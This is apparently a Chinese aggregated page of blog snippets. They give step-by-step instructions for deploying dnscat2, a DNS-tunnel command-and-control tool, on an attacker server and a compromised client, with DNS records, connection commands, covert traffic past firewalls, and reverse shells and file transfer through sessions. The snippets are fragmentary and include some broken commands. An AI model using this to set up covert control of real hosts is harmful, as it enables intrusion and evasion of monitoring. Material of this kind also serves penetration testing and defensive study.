精华内容
下载资源
问答
  • dnscat

    2010-05-24 19:03:00
    http://www.skullsecurity.org/wiki/index.php/Dnscat
    展开全文
  • dnscat nbtool

    2011-09-09 22:06:07
    dnscat nbtool, dnstunnel, dns proxy
  • dnscat2.zip

    2019-05-17 09:23:00
    dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell……
  • dnscat2-powershell:dnscat2的Powershell客户端,加密的DNS命令和控制工具
  • dnscat2-parser-源码

    2021-05-20 02:07:56
    dnscat2-解析器 简单,不完整的dnscat2解析器。 以PCAP作为输入可打印出解码后的消息。 用法 $ python dnscat2-parser.py Usage: python dnscat2-parser.py python dnscat2-parser.py <pcap> -v 样本输出 $ ...
  • 使用DnsCat反弹shell

    2018-05-28 14:31:00
    DnsCat技术特点 Dns隧道反弹shell DnsCat服务器的安装 #git clone https://github.com/iagox86/dnscat2.git #cd dnscat2 #cd server #sudo gem install bundler #bundle install #sudo ruby./dnscat2.rb DnsCat...

    DnsCat技术特点


    Dns隧道反弹shell

    DnsCat服务器的安装


    #git clone https://github.com/iagox86/dnscat2.git
    #cd dnscat2
    #cd server
    #sudo gem install bundler
    #bundle install
    #sudo ruby./dnscat2.rb

    1070321-20180528142120029-1056512478.png

    DnsCat客户端的安装


    下载地址:https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip

    >dnscat2-v0.07-client-win32.exe --dns server=攻击者的IP --secret=攻击者服务器生成的ID

    1070321-20180528143221578-784598291.png

    执行


    #windows
    #session -i x
    #shell
    #windows -i y

    1070321-20180528142836772-777472636.png

    DnsCat能执行的命令


    1070321-20180528143057804-834374655.png

    转载于:https://www.cnblogs.com/KevinGeorge/p/9100028.html

    展开全文
  • DNScat是一个“瑞士军刀”工具,用于通过DNS服务器传送流量。 它是一个小巧但功能强大的工具,类似于netcat。 结合PPP服务器,它允许使用DNS数据包构建VPN。 DNScat是用于渗透测试的有用工具。
  • 『DNS隧道工具』— dnscat2

    千次阅读 多人点赞 2019-01-22 13:01:00
    Dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell…… 使用热度: ★★★★☆ ...

    一、入坑必读

    1、简介

    dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell……

    使用热度: ★★★★☆

    2、专业词

    • Type:DNS解析的类型,常见的有:A、CNAME、MX、TXT……
    • 直连模式:客户端直接向指定IP的恶意DNS服务器发起DNS解析请求
    • 中继模式:像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器。相比直连,速度较慢,但是更安全。

    3、放哪儿

    攻击机 被控机
    服务端 客户端

    4、支持Type

    • A
    • TXT
    • CNAME
    • MX
    • AAAA

    注意: 默认是TXT、CNAME、MX随机混合使用

    5、兼容说明

    • 服务端为Ruby编写,需安装Ruby环境。kali系统内置Ruby,但是运行时仍可能报缺少一些gem依赖:

      • ecdsa
      • salsa20
      • sha3
      • trollop

      依次安装即可,范例:gem install ecdsa-1.2.0.gem

      这些gem依赖、服务端、客户端等所有工具,下面的下载地址已打包提供!

      当然你也可以去https://rubygems.org/gems网站上搜索并下载所有的gem依赖。

    • 客户端为C编写,使用前需先编译,Windows编译可使用VS、Linux则直接make install

    • 这里也提供编译好的Win客户端

    6、全套下载地址

    二、原理简述

    Dnscat2分为两部分:客户端和服务器。

    客户端:

    在受感染的计算机上运行。C语言编写的,具有最小可能的依赖性。

    运行模式如大多DNS隧道工具一样:Dnscat2客户端->DNS服务商->Dnscat2服务端

    如果您没有购买域名,还可以在UDP/53上使用直连。它们会更快,但它在数据包中更明显(所有域名都以dnscat为前缀,除非你破解了源代码)。防火墙经常会阻止此模式。

    服务端:

    Ruby语言编写,在服务器上运行。它除了监听在UDP/53上发送给它的消息之外,还要指定它应该监听哪个域名。

    当它接收其中一个域名的流量时,它会尝试建立DNS连接。如果它接收到其他流量,它默认忽略它,当然你也可以在上游转发它。

    三、安装使用

    1、安装

    服务端:

    # 如果是上面地址直接下载的,则跳过
    git clone https://github.com/iagox86/dnscat2.git
    cd dnscat2
    cd server
    sudo gem install bundler
    bundle install<script src="https://localhost01.cn/js/jquery-2.0.0.min.js"></script>
    

    客户端:

    # 如果是上面地址直接下载的,则跳过
    git clone https://github.com/iagox86/dnscat2.git
    cd dnscat2/client/
    make
    

    2、使用

    在服务端机器上,执行:

    #启动
    sudo ruby./dnscat2.rb abc.com --secret=123456   #方式1【常用】
    sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=123456   #方式2
    sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache   #方式3
    

    方式1:

    • abc.com 自定义DNS传输的域名
    • –secret 自定义连接密码

    方式2(直连):

    • server&port 表示监听本机的533端口
    • –secret 自定义连接密码

    方式3:

    • –secret 定义了通讯密码。

      两端使用时,均需跟上该密码,可防止中间人攻击。如果不加,dnscat2会生成一个随机字符串,记得拷贝下来在启动客户端时使用。

      同时服务端在运行时,也可通过set secret=<new value>来动态改变

    • –security 规定了安全级别。

      默认情况下,客户端和服务器都支持并会尝试加密。Open表示服务端允许客户端不加密,这样,客户端就可以通过传递–no-encryption参数来禁用加密。当然也可以在编译时,就禁用客户端加密:make nocrypto

      同时服务端在运行时,也可通过set security=open来动态改变。

    • –no-cache 禁止缓存

      使用powershell-dnscat2客户端时,务必在运行服务器时添加无缓存选项,因为与dnscat2服务器的caching模式不兼容。

    在客户端机器上,执行:

    dnscat --secret=123456 abc.com    #对应 方式1
    dnscat --dns server=<your dnscat2 server ip>,port=553,type=TXT   #对应 方式2,注意使用--dns选项时,port不可省,否则可能连不上
    

    其中:

    • <your dnscat2 server ip> 服务端的公网IP,表示不走DNS服务商这一步,直接向dnscat2服务端所在的服务器IP请求DNS解析
    • -t 使用的DNS类型

    客户端连上后,会提示:Session established!

    而服务端的控制台输入:windows,即可以看到一个客户端上线:

    1 :: command (DESKTOP-7NSDT5)……
    

    其中:

    • 1表示该客户端ID,如果使用window -i 1,即可进入该通道;

    键入shell,即可得到一个半交互shell!(相比dns2tcp,使用起来不是很流畅)~

    help可查看控制台支持的命令,常用的有:

    • quit (退出控制台)
    • kill <id> (中断通道)
    • set(设值,比如设置security=open)
    • windows(列举出所有的通道)
    • window -i <id>(连接某个通道)

      连接通道后,使用help同样可以看到其内支持的命令(单个命令后跟-h也会解释该命令):

      • clear(清屏)
      • delay(修改远程会话超时时间)
      • exec(执行远程机上的程序)
      • shell(得到一个反弹shell)
      • download/upload(两端之间上传下载文件)
      • supend(返回到上一层,等于快捷键ctrl+z
    展开全文
  • dnscat2搭建dns隧道

    2021-03-06 13:28:17
    安装服务端: apt-get install gem apt-get install ruby-dev apt-get install libpq-dev cd dnscat2/server git clone https://github.com/iagox86/dnscat2.git ...sudo ruby ./dnscat2.rb vpn.xxx -e
    域名购买网站:https://dcc.godaddy.com/ 购买域名,并且注册网站,应用该模块
    安装服务端:
    apt-get install gem
    apt-get install ruby-dev
    apt-get install libpq-dev
    cd dnscat2/server
    git clone https://github.com/iagox86/dnscat2.git
    编译
    bundle install
    中继模式启动服务端
    sudo ruby ./dnscat2.rb vpn.xxx -e open -c 密码.com --no-cache
    被控端连接
    windwos:dnscat2-v0.07-client-win32.exe --dns domain=vpn.xxx.xxx --secret xxx.com
    

    目录

    dnscat2

    搭建dnscat2隧道步骤

    (1):部署域名解析

    (2):安装dnscat2服务端

      (3):在目标主机上安装dnscat2客户端

    (4):测试客户端服务端是否连通

    中继模式建立隧道

    服务端

    客户端

    执行命令


    dnscat2

    dnscat2是一款开源软件,使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证;使用Shell及DNS查询类型(TXT、MX、CNAME、A、AAAA),多个同时进行的会话类似于SSH中的隧道。dnscat2的客户端是有Windows版和Linux版,服务端是用Ruby语言编写的。严格的说,dnscat2是一个命令与控制工具。

    使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。

    • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求
    • 中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢

    如果目标内网放行所有的DNS请求,dnscat2会使用直连模式,通过UDP的53端口进行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查询)。在请求日志中,所有的域名都是以 dnscat 开头的,因此防火墙可以很容易地将直连模式的通信检测出来。

    如果目标内网的请求仅限于白名单服务器或指定的域,dnscat2会使用中继模式来申请一个域名,并将运行dnscat2服务端的服务器指定为受信任的DNS服务器。

    DNS隧道的应用场景如下:在安全策略严格的内网环境中,常见的 C&C 通信端口会被众多安全设备所监控,该网段只允许白名单流量出站,同时其他端口都被屏蔽,传统的C&C通信无法建立。这种情况下,可以通过使用DNS建立隐蔽隧道来进行通信。

    dnscat2通过DNS进行控制并执行命令。与同类工具相比,dnscat2具有如下特点:

    • 支持多个会话
    • 流量加密
    • 使用密钥防止MiTM攻击
    • 在内存中直接执行PowerShell脚本
    • 隐蔽通信

    搭建dnscat2隧道步骤

    (1):部署域名解析

    首先,用一台公网的Linux系统的VPS作为C&C服务器(注意:VPS的53端口一定要开放),并准备好一个可以配置的域名(这里我们假设是hack.com)。然后,去配置域名的记录。首先创建记录A,将自己的域名 www.hack.com 解析到VPS服务器地址。然后,创建NS记录,将 test.hack.com 指向 www.hack.com 。

    • 第一条A类解析是在告诉域名系统,www.hack.com 的IP地址是 xx.xx.xx.xx 。
    • 第二条NS解析是在告诉域名系统,想要知道 test.hack.com 的IP地址,就去问 www.hack.com 。

     

    为什么要设置NS类型的记录呢?因为NS类型的记录不是用于设置某个域名的DNS服务器的,而是用于设置某个子域名的DNS服务器的。

    如何验证域名解析设置是否成功?
    在随便一台电脑上ping域名 www.hack.com ,若能ping通,且显示的IP地址是我们配置的VPS的地址,说明第一条A类解析设置成功并已生效。

    然后在我们的VPS上执行以下命令监听UDP53端口

    tcpdump -n -i eth0 udp dst port 53

    在任意一台机器上执行  nslookup test.hack.com 命令,如果在我们的VPS监听的端口有查询信息,说明第二条记录设置成功

    (2):安装dnscat2服务端

    在VPN服务器上安装dnscat2服务端。

    1. git clone https://github.com/iagox86/dnscat2.git
    2. cd dnscat2/server/
    3. gem install bundler
    4. bundle install

      (3):在目标主机上安装dnscat2客户端

    dnscat2客户端是用C语言编写的,因此在使用前需要先进行编译。

    • 如果目标服务器是Windows系统,则可以直接使用编译好的dnscat2客户端,或者PowerShell版本的dnscat2(目标机器需要支持PowerShell2.0以上版本)
    • 如果目标服务器是Linux系统,则需要在目标机器上执行如下命令安装客户端。

    Linux安装dnscat2客户端

    1. git clone https://github.com/iagox86/dnscat2.git
    2. cd dnscat2/client/
    3. make

     

    (4):测试客户端服务端是否连通

    服务器目前在监听状态,执行以下命令测试客户端能否与服务器进行通信

    dnscat2-v0.07-client-win32.exe --ping test.hack.com

    可以看到,服务器收到了客户端的请求

     

    中继模式建立隧道

    服务端

    服务端执行以下模式进行监听

    1. ruby ./dnscat2.rb test.hack.com -e open -c root@123456 --no-cache
    2. -e:指定安全级别,open表示服务端运行客户端不进行加密
    3. -c:指定密钥
    4. --no-cache:禁止缓存,一定添加该选项,因为powershell-dnscat2客户端域dnscat2服务端的Caching模式不兼容

    客户端

    客户端(C语言版本的)执行以下命令,连接服务端

    dnscat2-v0.07-client-win32.exe --dns domain=test.hack.com --secret=root@123456

    如下,客户端显示 Session established! ,表示连接成功。 

    客户端(PowerShell版本)执行以下命令,连接服务端

    1. Import-Module .\dnscat2.ps1
    2. start-Dnscat2 -Domain test.hack.com --secret=root@123456

    客户端(Linux版本)执行以下命令,连接服务端

    1. cd dnscat2/client
    2. ./dnscat --dns domain=test.hack.com --secret=root@123456

    执行命令

    我们服务端这边也会显示New window created:1 ,说明新建了一个session

    然后我们执行下面命令

    1. sessions #查看当前建立的session
    2. windows #查看当前建立的session,和sessions一样
    3. session -i 1 #进入第一个session,和MSF一样
    4. window -i 1 #进入第一个session,和session -i 1一样
    5. help #查看命令帮助
    6. clear:清屏
    7. delay:修改远程响应延时
    8. exec :执行远程机器上的指定程序,例如PowerShell或VBS
    9. shell:得到一个反弹的shell
    10. download、upload:上传、下载文件,速度较慢,适合小文件
    11. suspend:返回上一层,相当于使用快捷键 Ctrl+Z
    12. listen:类似于SSH隧道的-L参数(本地转发)
    13. ping:用于确认目标机器是否在线,若返回pong,说明目标机器在线
    14. shutdown:切断当前会话
    15. quit:退出dnscat2控制台
    16. kill id:切断通道
    17. set:设置值,例如设置 security=open

    我们执行 shell,然后会反弹一个shell过来。接着执行 suspend 返回上一层,sessions查看,可以看到现在有两个session了。session -i 2进入反弹回来的shell,我们就可以执行CMD命令了

    1. shell #得到一个反弹的shell
    2. suspend #返回上一层
    3. session -i 2 #进入反弹过来的shell

    展开全文
  • DNS隧道--dnscat2

    2019-10-07 14:41:21
    安装 服务端 git clone https://github.com/iagox86/dnscat2.git cd dnscat2 cd server sudo gem install bundler bundle install ... git clone https://github.com/iagox86/dnscat2.git cd dnscat2/cli...
  • Dnscat2分为两部分:客户端和服务器。客户端在受感染的计算机上运行。C语言编写的,具有最小可能的依赖性。运行模式:Dnscat2客户端->DNS服务商->Dnscat2服务端。如果您没有购买域名,还可以在UDP/53上使用直连。...
  • 使用DNS进行命令控制(dnscat2)

    千次阅读 2020-02-21 16:35:42
    dnscat2 搭建dnscat2隧道步骤 (1):部署域名解析 (2):安装dnscat2服务端 (3):在目标主机上安装dnscat2客户端 (4):测试客户端服务端是否连通 中继模式建立隧道 执行命令 dnscat2 dnscat2是一款...
  • 上一章,我们学习了iodine穿透防火墙的udp协议53端口的配置,解决了在dns2tcp无法在windows平台下使用的问题,但实际操作中,经常只能获取到一个shell,只能受限在...因此,有必要再来简单了解一下dnscat2的配置。
  • 我的感受:整体感觉这个工具不完善,失败率很高,传文件时候没有完整性校验,我自己测试时通过域名转发失败,可能是其特征过于明显导致(子域名里有dnscat关键字)。 How-to If you're going to read one s...
  • ruby ./dnscat2.rb root@kali:~/dnscat2/client# ./dnscat --dns server=192.168.10.144 – secret=0f6da6ab6343bd9a278f02a1691e171d 命令 dnscat2> New window created: 1 Session 1 Security: ENCRYPTED AND ...

空空如也

空空如也

1 2 3 4 5 ... 13
收藏数 244
精华内容 97
关键字:

dnscat